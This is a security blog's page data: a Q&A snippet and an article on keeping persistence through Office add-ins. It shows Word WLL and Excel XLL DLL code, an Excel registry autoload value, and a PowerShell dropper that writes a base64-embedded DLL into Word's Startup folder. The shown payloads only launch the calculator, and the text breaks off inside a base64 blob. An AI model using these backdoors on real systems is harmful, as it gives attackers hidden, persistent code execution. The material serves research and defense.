[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fXgkcQaXTdmLi4VQPilwsFZPvw-xGRT9Kb7lHoZBf_xs":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":51,"createdAt":51,"_status":50},435,"How does the WLL persistence technique compare to other Office persistence methods like COM hijacking?","The WLL method is simple and reliable: it relies on Word's Startup folder, which is a standard mechanism. In contrast, [COM Object hijacking to maintain persistence——Hijack Outlook](\u002Fnews\u002Fuse-com-object-hijacking-to-maintain-persistence-hijack-outlook) exploits COM registration, which can be more stealthy but also more complex. The article notes that WLL supports multiple files and is relatively easy to detect via folder monitoring, whereas COM hijacking may evade simple file scans.","\u003Cp>The WLL method is simple and reliable: it relies on Word's Startup folder, which is a standard mechanism. In contrast, [COM Object hijacking to maintain persistence——Hijack Outlook](\u002Fnews\u002Fuse-com-object-hijacking-to-maintain-persistence-hijack-outlook) exploits COM registration, which can be more stealthy but also more complex. The article notes that WLL supports multiple files and is relatively easy to detect via folder monitoring, whereas COM hijacking may evade simple file scans.\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fuse-office-to-maintain-persistence\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","how-does-the-wll-persistence-technique-compare-to-other-office-persistence-metho-1777483568288","persistence comparison, COM hijacking, WLL vs COM, stealth",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":47,"updatedAt":48,"createdAt":49,"_status":50},109,"Use Office to maintain persistence","use-office-to-maintain-persistence","Explore four stealthy Office backdoor methods for Word, Excel, and PowerPoint, with a PowerShell POC script for automation, advantages comparison, and defense strategies.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>On the Windows platform, Microsoft Office has a very high adoption rate. From an attacker's perspective, it is common to choose to implant backdoors in Office software.\u003C\u002Fp>\u003Cp>I came across a blog post detailing various methods for exploiting Office backdoors. I researched and tested these methods, selected the more universal and stealthy ones, and wrote a POC script to automate the exploitation.\u003C\u002Fp>\u003Cp>\u003Cstrong>Blog post URL:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>https:\u002F\u002Flabs.mwrinfosecurity.com\u002Fblog\u002Fadd-in-opportunities-for-office-persistence\u002F\u003C\u002Fp>\u003Cp>Author: William Knowles@william_knows\u003C\u002Fp>\u003Cp>\u003Cstrong>POC:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch2>0x01 Overview\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Four backdoor exploitation methods for Word, Excel, and PowerPoint\u003C\u002Fli>\u003Cli>Writing a PowerShell script to automate the exploitation\u003C\u002Fli>\u003Cli>Compare advantages and disadvantages, analyze defense methods\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Word WLL\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Manual testing\u003C\u002Fh3>\u003Cp>Development tool: VC6.0\u003C\u002Fp>\u003Cp>Create a new DLL project, the code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>BOOL APIENTRY DllMain( HANDLE hModule,\u003Cbr>                       DWORD  ul_reason_for_call,\u003Cbr>                       LPVOID lpReserved\u003Cbr>                     )\u003Cbr>{\u003Cbr>    switch (ul_reason_for_call)\u003Cbr>    {\u003Cbr>        case DLL_PROCESS_ATTACH:\u003Cbr>            MessageBox(NULL,\"hello world，I'm 3kb\",\"title\",MB_OK);\u003Cbr>\t\tcase DLL_THREAD_ATTACH:\u003Cbr>\t\tcase DLL_THREAD_DETACH:\u003Cbr>\t\tcase DLL_PROCESS_DETACH:\u003Cbr>\t\t\tbreak;\u003Cbr>    }return TRUE;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compile into msg.dll, apply the following settings to reduce the compiled file size:\u003C\u002Fp>\u003Cul>\u003Cli>Build: release\u003C\u002Fli>\u003Cli>Add code: #pragma comment(linker,\"\u002FOPT:nowin98\")\u003C\u002Fli>\u003Cli>Project Settings -> Win32 Release -> C\u002FC++ -> Code Generation -> Use run-time library: -> Multithreaded DLL\u003C\u002Fli>\u003C\u002Ful>\u003Cp>After optimization, the dll size is 3kb\u003C\u002Fp>\u003Cp>Rename to msg.wll, save to the following path:\u003C\u002Fp>\u003Cp>C:\\Users\\a\\AppData\\Roaming\\Microsoft\\Word\\Startup\u003C\u002Fp>\u003Cp>Launch Word.exe, a dialog box pops up, the interface freezes, Word cannot run normally; after closing the pop-up dialog, Word starts normally\u003C\u002Fp>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017276519_0_6f8a9bd8b2.jpeg\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The DLL generated by Metasploit's msfvenom will cause the Word program to crash\u003C\u002Fp>\u003Cp>Modify the C code to implement launching the calculator, the code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>BOOL APIENTRY DllMain( HANDLE hModule, \u003Cbr>                       DWORD  ul_reason_for_call, \u003Cbr>                       LPVOID lpReserved\u003Cbr>\t\t\t\t\t )\u003Cbr>{\u003Cbr>    switch (ul_reason_for_call)\u003Cbr>\t{\u003Cbr>\t\tcase DLL_PROCESS_ATTACH:\u003Cbr>\t\t\tWinExec(\"calc.exe\",SW_SHOWNORMAL);\u003Cbr>\t\tcase DLL_THREAD_ATTACH:\u003Cbr>\t\tcase DLL_THREAD_DETACH:\u003Cbr>\t\tcase DLL_PROCESS_DETACH:\u003Cbr>\t\t\tbreak;\u003Cbr>    }return TRUE;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compiled into calc.dll, optimized size is 3KB\u003C\u002Fp>\u003Cp>Rename to calc.wll, save in path C:\\Users\\a\\AppData\\Roaming\\Microsoft\\Word\\Startup\u003C\u002Fp>\u003Cp>Launch Word.exe, calculator pops up, and Word starts normally\u003C\u002Fp>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017303978_1_7a1b0f2ee0.jpeg\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Startup path can store multiple wll files, supports launching multiple wlls\u003C\u002Fp>\u003Ch3>2. Implement with PowerShell script\u003C\u002Fh3>\u003Cp>PowerShell code corresponding to wll path:\u003C\u002Fp>\u003Cp>$env:APPDATA+\"\\Microsoft\\Word\\Startup\\calc.wll\"\u003C\u002Fp>\u003Cp>Base64 encode the compiled 3KB calc.dll and store in variable:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$fileContent = [System.IO.File]::ReadAllBytes('calc.dll')\u003Cbr>$fileContentEncoded = [System.Convert]::ToBase64String($fileContent) | set-content (\"calcdllbase64.txt\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Obtained\u003C\u002Fp>\u003Cp>TVqQAAMAAAAEAAAA\u002F\u002F8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAC1TSnZ8SxHivEsR4rxLEeKGTNNivUsR4oZM0OK8yxHivEsRor2LEeKkzNUivIsR4oZM0yK8yxHilJpY2jxLEeKAAAAAAAAAABQRQAATAEEAH4YaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAMYAAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAwAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAAWgAAAABAAAAAAgAAAAoAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAItEJAhIdQ1qAWgQMAAQ\u002FxUAIAAQuAEAAADCDACQkJCQi0QkCIXAdQ45BRwwABB+Lv8NHDAAEIsNFCAAEIP4AYsJiQ0gMAAQdT9ogAAAAP8VECAAEIXAWaMoMAAQdQQzwOtmgyAAoSgwABBoBDAAEGgAMAAQoyQwABDo6gAAAP8FHDAAEFlZ6z2FwHU5oSgwABCFwHQwiw0kMAAQVo1x\u002FDvwchKLDoXJdAf\u002F0aEoMAAQg+4E6+pQ\u002FxUIIAAQgyUoMAAQAFleagFYwgwAVYvsU4tdCFaLdQxXi30QhfZ1CYM9HDAAEADrJoP+AXQFg\u002F4CdSKhLDAAEIXAdAlXVlP\u002F0IXAdAxXVlPoFf\u002F\u002F\u002F4XAdQQzwOtOV1ZT6OX+\u002F\u002F+D\u002FgGJRQx1DIXAdTdXUFPo8f7\u002F\u002F4X2dAWD\u002FgN1JldWU+jg\u002Fv\u002F\u002FhcB1AyFFDIN9DAB0EaEsMAAQhcB0CFdWU\u002F\u002FQiUUMi0UMX15bXcIMAP8lDCAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdCAAAAAAAACMIAAAlCAAAKAgAACqIAAAAAAAAFggAAAAAAAAAAAAAH4gAAAAIAAAYCAAAAAAAAAAAAAAuiAAAAggAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHQgAAAAAAAAjCAAAJQgAACgIAAAqiAAAAAAAADTAldpbkV4ZWMAS0VSTkVMMzIuZGxsAABeAmZyZWUAAA8BX2luaXR0ZXJtAJECbWFsbG9jAACdAF9hZGp1c3RfZmRpdgAATVNWQ1JULmRsbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY2FsYy5leGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAA0AAAACjAQMCowMjA4MEMwUDBYMGYwazBwMHUwgDCNMJcwrDC4ML4w4DDyME4xajEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u003C\u002Fp>\u003Cp>Store the base64-encoded calc.dll in variable $fileContent\u003C\u002Fp>\u003Cp>The code to base64 decode and release calc.wll to the Startup path is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$fileContent = \"TVqQAAMAAAAEAAAA\u002F\u002F8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAC1TSnZ8SxHivEsR4rxLEeKGTNNivUsR4oZM0OK8yxHivEsRor2LEeKkzNUivIsR4oZM0yK8yxHilJpY2jxLEeKAAAAAAAAAABQRQAATAEEAH4YaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAMYAAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAwAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAAWgAAAABAAAAAAgAAAAoAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAItEJAhIdQ1qAWgQMAAQ\u002FxUAIAAQuAEAAADCDACQkJCQi0QkCIXAdQ45BRwwABB+Lv8NHDAAEIsNFCAAEIP4AYsJiQ0gMAAQdT9ogAAAAP8VECAAEIXAWaMoMAAQdQQzwOtmgyAAoSgwABBoBDAAEGgAMAAQoyQwABDo6gAAAP8FHDAAEFlZ6z2FwHU5oSgwABCFwHQwiw0kMAAQVo1x\u002FDvwchKLDoXJdAf\u002F0aEoMAAQg+4E6+pQ\u002FxUIIAAQgyUoMAAQAFleagFYwgwAVYvsU4tdCFaLdQxXi30QhfZ1CYM9HDAAEADrJoP+AXQFg\u002F4CdSKhLDAAEIXAdAlXVlP\u002F0IXAdAxXVlPoFf\u002F\u002F\u002F4XAdQQzwOtOV1ZT6OX+\u002F\u002F+D\u002FgGJRQx1DIXAdTdXUFPo8f7\u002F\u002F4X2dAWD\u002FgN1JldWU+jg\u002Fv\u002F\u002FhcB1AyFFDIN9DAB0EaEsMAAQhcB0CFdWU\u002F\u002FQiUUMi0UMX15bXcIMAP8lDCAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdCAAAAAAAACMIAAAlCAAAKAgAACqIAAAAAAAAFggAAAAAAAAAAAAAH4gAAAAIAAAYCAAAAAAAAAAAAAAuiAAAAggAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHQgAAAAAAAAjCAAAJQgAACgIAAAqiAAAAAAAADTAldpbkV4ZWMAS0VSTkVMMzIuZGxsAABeAmZyZWUAAA8BX2luaXR0ZXJtAJECbWFsbG9jAACdAF9hZGp1c3RfZmRpdgAATVNWQ1JULmRsbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY2FsYy5leGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAA0AAAACjAQMCowMjA4MEMwUDBYMGYwazBwMHUwgDCNMJcwrDC4ML4w4DDyME4xajEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\u003Cbr>$fileContentBytes = [System.Convert]::FromBase64String($fileContent)\u003Cbr>[System.IO.File]::WriteAllBytes($env:APPDATA+\"\\Microsoft\\Word\\Startup\\calc.wll\",$fileContentBytes)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After running the above code, calc.wll is generated in C:\\Users\\a\\AppData\\Roaming\\Microsoft\\Word\\Startup\\, and when word.exe is launched, the calculator pops up.\u003C\u002Fp>\u003Ch2>0x03 Excel XLL\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Manual Testing\u003C\u002Fh3>\u003Cp>Create a new DLL project, add the export function xlAutoOpen, with the specific code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>void xlAutoOpen()\u003Cbr>{\u003Cbr>    WinExec(\"calc.exe\", SW_SHOWNORMAL);\u003Cbr>}\u003Cbr>\u003Cbr>BOOL APIENTRY DllMain(HANDLE hModule,\u003Cbr>                       DWORD ul_reason_for_call,\u003Cbr>                       LPVOID lpReserved\u003Cbr>                     )\u003Cbr>{\u003Cbr>    switch (ul_reason_for_call)\u003Cbr>    {\u003Cbr>        case DLL_PROCESS_ATTACH:\u003Cbr>\t\t\t\u003Cbr>        case DLL_THREAD_ATTACH:\u003Cbr>        case DLL_THREAD_DETACH:\u003Cbr>        case DLL_PROCESS_DETACH:\u003Cbr>            break;\u003Cbr>    }\u003Cbr>    return TRUE;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Add file, set type: Text File\u003C\u002Fp>\u003Cp>Name: Project same name file.def\u003C\u002Fp>\u003Cp>Write:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>EXPORTS\u003Cbr>xlAutoOpen\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compile into calc2.dll, export function as xlAutoOpen(), optimized size 3kb\u003C\u002Fp>\u003Cp>Rename to calc.xll, save path as follows:\u003C\u002Fp>\u003Cp>%appdata%\\Microsoft\\AddIns\u003C\u002Fp>\u003Cp>Find registry key value:\u003C\u002Fp>\u003Cp>Key value for Office2010:\u003C\u002Fp>\u003Cp>HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\14.0\\Excel\\Options\u003C\u002Fp>\u003Cp>Key value for Office2013:\u003C\u002Fp>\u003Cp>HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Options\u003C\u002Fp>\u003Cp>Create new string value: OPEN: \u002FR calc.xll\u003C\u002Fp>\u003Cp>Launch Excel.exe, calculator pops up, and Excel starts normally\u003C\u002Fp>\u003Ch3>2. Write a PowerShell script to implement\u003C\u002Fh3>\u003Cp>Same as above, encrypt calc2.dll as base64 and store in a variable:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$fileContent = [System.IO.File]::ReadAllBytes('calc.xll')\u003Cbr>$fileContentEncoded = [System.Convert]::ToBase64String($fileContent) | Set-Content (\"calcxllbase64.txt\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Obtain\u003C\u002Fp>\u003Cp>TVqQAAMAAAAEAAAA\u002F\u002F8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADVzTnZkaxXipGsV4qRrFeKebNdipWsV4qRrFaKlqxXivOzRIqSrFeKebNcipOsV4p5s1OKkqxXilJpY2iRrFeKAAAAAAAAAABQRQAATAEEAF0ZaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAADQIAAARwAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAABcBAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAwAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAAWgAAAABAAAAAAgAAAAoAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA